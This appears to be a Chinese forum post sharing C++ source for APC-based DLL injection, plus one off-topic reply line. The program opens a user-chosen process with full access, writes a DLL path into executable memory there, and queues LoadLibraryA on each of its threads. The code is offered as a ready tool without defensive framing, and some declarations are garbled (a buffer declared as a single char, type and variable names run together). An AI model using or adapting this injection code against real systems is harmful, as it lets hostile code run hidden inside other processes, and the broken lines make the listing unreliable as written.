C++ APC注入源码
#include "stdafx.h"
#define _WIN32_WINNT 0x0400
#include <windows.h>
#include <TlHelp32.h>
#include <iostream>
#include <string>
using namespace std;
#define DEF_BUF_SIZE 1024
// 用于存储注入模块DLL的路径全名
char szDllPath = {0} ;
// 使用APC机制向指定ID的进程注入模块
BOOL InjectModuleToProcessById ( DWORD dwProcessId )
{
DWORDdwRet = 0 ;
BOOLbStatus = FALSE ;
LPVOIDlpData = NULL ;
UINTuLen = strlen(szDllPath) + 1;
// 打开目标进程
HANDLE hProcess = OpenProcess ( PROCESS_ALL_ACCESS, FALSE, dwProcessId ) ;
if ( hProcess )
{
// 分配空间
lpData = VirtualAllocEx ( hProcess, NULL, uLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE ) ;
if ( lpData )
{
// 写入需要注入的模块路径全名
bStatus = WriteProcessMemory ( hProcess, lpData, szDllPath, uLen, &dwRet ) ;
}
CloseHandle ( hProcess ) ;
}
if ( bStatus == FALSE )
return FALSE ;
// 创建线程快照
THREADENTRY32 te32 = { sizeof(THREADENTRY32) } ;
HANDLE hThreadSnap = CreateToolhelp32Snapshot ( TH32CS_SNAPTHREAD, 0 ) ;
if ( hThreadSnap == INVALID_HANDLE_VALUE )
return FALSE ;
bStatus = FALSE ;
// 枚举所有线程
if ( Thread32First ( hThreadSnap, &te32 ) )
{
do{
// 判断是否目标进程中的线程
if ( te32.th32OwnerProcessID == dwProcessId )
{
// 打开线程
HANDLE hThread = OpenThread ( THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID ) ;
if ( hThread )
{
// 向指定线程添加APC
DWORD dwRet = QueueUserAPC ( (PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpData ) ;
if ( dwRet > 0 )
bStatus = TRUE ;
CloseHandle ( hThread ) ;
}
}
}while ( Thread32Next ( hThreadSnap, &te32 ) ) ;
}
CloseHandle ( hThreadSnap ) ;
return bStatus;
}
int _tmain(int argc, _TCHAR* argv[])
{
// 取得当前工作目录路径
GetCurrentDirectoryA ( DEF_BUF_SIZE, szDllPath ) ;
// 生成注入模块DLL的路径全名
strcat_s ( szDllPath, "\\fddll" ) ;
DWORD dwProcessId = 0 ;
// 接收用户输入的目标进程ID
while ( cout << "请输入目标进程ID：" && cin >> dwProcessId && dwProcessId > 0 )
{
BOOL bRet = InjectModuleToProcessById ( dwProcessId ) ;
cout << (bRet ? "注入成功！":"注入失败！") << endl ;
}
return 0;
}
过来转转,我只是路过打酱油的。
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